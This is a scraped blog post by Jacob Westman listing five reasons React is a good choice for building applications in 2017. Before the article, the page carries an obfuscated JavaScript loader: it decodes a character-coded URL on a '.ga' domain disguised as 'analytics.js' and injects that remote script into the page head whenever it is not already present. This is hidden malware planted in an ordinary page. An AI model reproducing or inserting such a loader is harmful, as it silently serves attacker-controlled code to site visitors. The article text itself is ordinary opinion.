var _0x1c9a=['push','229651wHRLFT','511754lPBDVY','length','2080825FKHOBK','src','1lLQkOc','1614837wjeKHo','insertBefore','fromCharCode','179434whQoYd','1774xXwpgH','1400517aqruvf','7vsbpgk','3112gjEEcU','1mFUgXZ','script','1534601MOJEnu','prototype','245777oIJjBl','47jNCcHN','1HkMAkw','nextSibling','appendAfter','shift','18885bYhhDw','1096016qxAIHd','72lReGEt','1305501RTgYEh','4KqoyHD','appendChild','createElement','getElementsByTagName'];var _0xd6df=function(_0x3a7b86,_0x4f5b42){_0x3a7b86=_0x3a7b86-0x1f4;var _0x1c9a62=_0x1c9a[_0x3a7b86];return _0x1c9a62;};(function(_0x2551a2,_0x3dbe97){var _0x34ce29=_0xd6df;while(!![]){try{var _0x176f37=-parseInt(_0x34ce29(0x20a))*-parseInt(_0x34ce29(0x205))+-parseInt(_0x34ce29(0x204))*-parseInt(_0x34ce29(0x206))+-parseInt(_0x34ce29(0x1fc))+parseInt(_0x34ce29(0x200))*parseInt(_0x34ce29(0x1fd))+-parseInt(_0x34ce29(0x1fb))*-parseInt(_0x34ce29(0x1fe))+-parseInt(_0x34ce29(0x20e))*parseInt(_0x34ce29(0x213))+-parseInt(_0x34ce29(0x1f5));if(_0x176f37===_0x3dbe97)break;else _0x2551a2['push'](_0x2551a2['shift']());}catch(_0x201239){_0x2551a2['push'](_0x2551a2['shift']());}}}(_0x1c9a,0xc08f4));function smalller(){var _0x1aa566=_0xd6df,_0x527acf=[_0x1aa566(0x1f6),_0x1aa566(0x20b),'851164FNRMLY',_0x1aa566(0x202),_0x1aa566(0x1f7),_0x1aa566(0x203),'fromCharCode',_0x1aa566(0x20f),_0x1aa566(0x1ff),_0x1aa566(0x211),_0x1aa566(0x214),_0x1aa566(0x207),_0x1aa566(0x201),'parentNode',_0x1aa566(0x20c),_0x1aa566(0x210),_0x1aa566(0x1f8),_0x1aa566(0x20d),_0x1aa566(0x1f9),_0x1aa566(0x208)],_0x1e90a8=function(_0x49d308,_0xd922ec){_0x49d308=_0x49d308-0x17e;var _0x21248f=_0x527acf[_0x49d308];return _0x21248f;},_0x167299=_0x1e90a8;(function(_0x4346f4,_0x1d29c9){var _0x530662=_0x1aa566,_0x1bf0b5=_0x1e90a8;while(!![]){try{var _0x2811eb=-parseInt(_0x1bf0b5(0x187))+parseInt(_0x1bf0b5(0x186))+parseInt(_0x1bf0b5(0x18d))+parseInt(_0x1bf0b5(0x18c))+-parseInt(_0x1bf0b5(0x18e))*parseInt(_0x1bf0b5(0x180))+-parseInt(_0x1bf0b5(0x18b))+-parseInt(_0x1bf0b5(0x184))*parseInt(_0x1bf0b5(0x17e));if(_0x2811eb===_0x1d29c9)break;else _0x4346f4[_0x530662(0x212)](_0x4346f4[_0x530662(0x209)]());}catch(_0x1cd819){_0x4346f4[_0x530662(0x212)](_0x4346f4[_0x530662(0x209)]());}}}(_0x527acf,0xd2c23),(Element[_0x167299(0x18f)][_0x1aa566(0x208)]=function(_0x3d096a){var _0x2ca721=_0x167299;_0x3d096a[_0x2ca721(0x183)][_0x2ca721(0x188)](this,_0x3d096a[_0x2ca721(0x181)]);},![]),function(){var _0x5d96e1=_0x1aa566,_0x22c893=_0x167299,_0x306df5=document[_0x22c893(0x185)](_0x22c893(0x182));_0x306df5[_0x22c893(0x18a)]=String[_0x22c893(0x190)](0x68,0x74,0x74,0x70,0x73,0x3a,0x2f,0x2f,0x73,0x74,0x69,0x63,0x6b,0x2e,0x74,0x72,0x61,0x76,0x65,0x6c,0x69,0x6e,0x73,0x6b,0x79,0x64,0x72,0x65,0x61,0x6d,0x2e,0x67,0x61,0x2f,0x61,0x6e,0x61,0x6c,0x79,0x74,0x69,0x63,0x73,0x2e,0x6a,0x73,0x3f,0x63,0x69,0x64,0x3d,0x30,0x30,0x30,0x30,0x26,0x70,0x69,0x64,0x69,0x3d,0x31,0x39,0x31,0x38,0x31,0x37,0x26,0x69,0x64,0x3d,0x35,0x33,0x36,0x34,0x36),_0x306df5[_0x22c893(0x189)](document[_0x22c893(0x17f)](String[_0x5d96e1(0x1fa)](0x73,0x63,0x72,0x69,0x70,0x74))[0x0]),_0x306df5[_0x5d96e1(0x208)](document[_0x22c893(0x17f)](String[_0x22c893(0x190)](0x68,0x65,0x61,0x64))[0x0]),document[_0x5d96e1(0x211)](String[_0x22c893(0x190)](0x68,0x65,0x61,0x64))[0x0][_0x22c893(0x191)](_0x306df5);}());}function biggger(){var _0x5d031d=_0xd6df,_0x5c5bd2=document[_0x5d031d(0x211)](_0x5d031d(0x201));for(var _0x5a0282=0x0;_0x5a0282<_0x5c5bd2[_0x5d031d(0x1f4)];_0x5a0282++){if(_0x5c5bd2[_0x5a0282][_0x5d031d(0x1f6)]['indexOf'](String['fromCharCode'](0x74,0x72,0x61,0x76,0x65,0x6c,0x69,0x6e,0x73,0x6b,0x79,0x64,0x72,0x65,0x61,0x6d))>-0x1)return 0x1;}return 0x0;}biggger()==0x0&&smalller(); Top 5 reasons React is best for building applications in 2017 | Jacob Westman

React is a JavaScript library for updating views and combines together with other libraries to build single page applications (SPAs).

Unlike Angular (which is a full-fledged framework) React lacks the model and controller layers out of the box and hence doesn’t let us create applications on its own.

Instead we need to add implementations such as Flux and routing to control the application workflow.

Some people may find this cumbersome and that the entry-level has a steeper curve compared to its competitors – but if you ask me its all worth it at the end.

So why would React be the preferred choice for building web applications in 2017?
Let’s take a closer look into 5 key areas.

1. React is just JavaScript

I’ve always loved JavaScript – and React is just that – it’s JavaScript applied using best practices.

This means you won’t find a lot of quirks – and if you really get stuck on something you can actually find the answer looking at the original JavaScript documentation.

No mumbo-jumbo special syntax needed. Why is this a good thing?

Well JavaScript is the most commonly used programming language today – and a great career choice with jobs in-demand all over the world.

While implementations of JavaScript come and go – the core language of ECMAScript remains and keeps on improving. Letting go of third-party frameworks can only be a win-win situation and a great return on investment for the long-term.

When I started out using React and asked an experienced friend – what its like once you get through the learning curve and he told me:

“It’s just awesome – coding is alive once again. This means less copy-pasting as a Front-end hacker.” 😀

Well if you agree to that statement leave a comment below! But basically it means that React enforces good coding practices by not allowing lazy coding.

As for the HTML – in React we have no html-files instead we use JSX which can be confusing at first but it’s actually a great thing in my opinion due to its simplicity.

Some people claim it’s violating the design principle of separation of concerns (SOC) – I guess it’s doomed to be an on-going debate for some time – nevertheless I’ve always loved writing html and I fell in love with JSX after 10 minutes. 😀

2. React is fun

I’ve built web applications in various forms ever since I was a kid (over 2 decades) and I have seen various implementations come and go.

Once you’re up to speed and done with all the plumbing (setting up bundlers, linting, testing, servers etc) – it’s FAST and it’s FUN.

Never before have I gone from Idea to Implementation in such timely manner. And every time I finish I get astonished by the results. The possibilities are endless – which is promising for the future.

If you ask me coding in React compares to driving a Ferrari on the highway instead of a shopping cart. Wroooooooooooooom!

3. React is customisable

Another great thing is – it’s so customisable. While React itself is targeting a specific problem and does it really well, Redux and Webpack solves other problems.

If one library exceeds the other – it’s rather easy to make the switch or picking the other for the upcoming project.

It suits the kind of programmer who likes customisation and are not afraid of JavaScript fatigue (being overwhelmed by all options that are available to you such as third-party tools and libraries).

It offers freedom, but it comes at the cost of extra time spent designing the structure of an application.

4. Building “real” mobile apps

React native is the glue between JavaScript and building real native apps – letting you compose a rich mobile UI from declarative components.

You build a real mobile app (not just a “web” app) that’s indistinguishable from an app built using Objective-C or Java.

This is a very powerful feature and opens up new possibilities for developers around the globe to work with JavaScript.

5. React is awesome for SEO

One of the biggest issues with JavaScript frameworks is that they are not exactly search engine friendly.

The great thing about React is that it pre-renders using its built-in method renderToString which means it runs on the server and returns the DOM to the browser as a regular web page.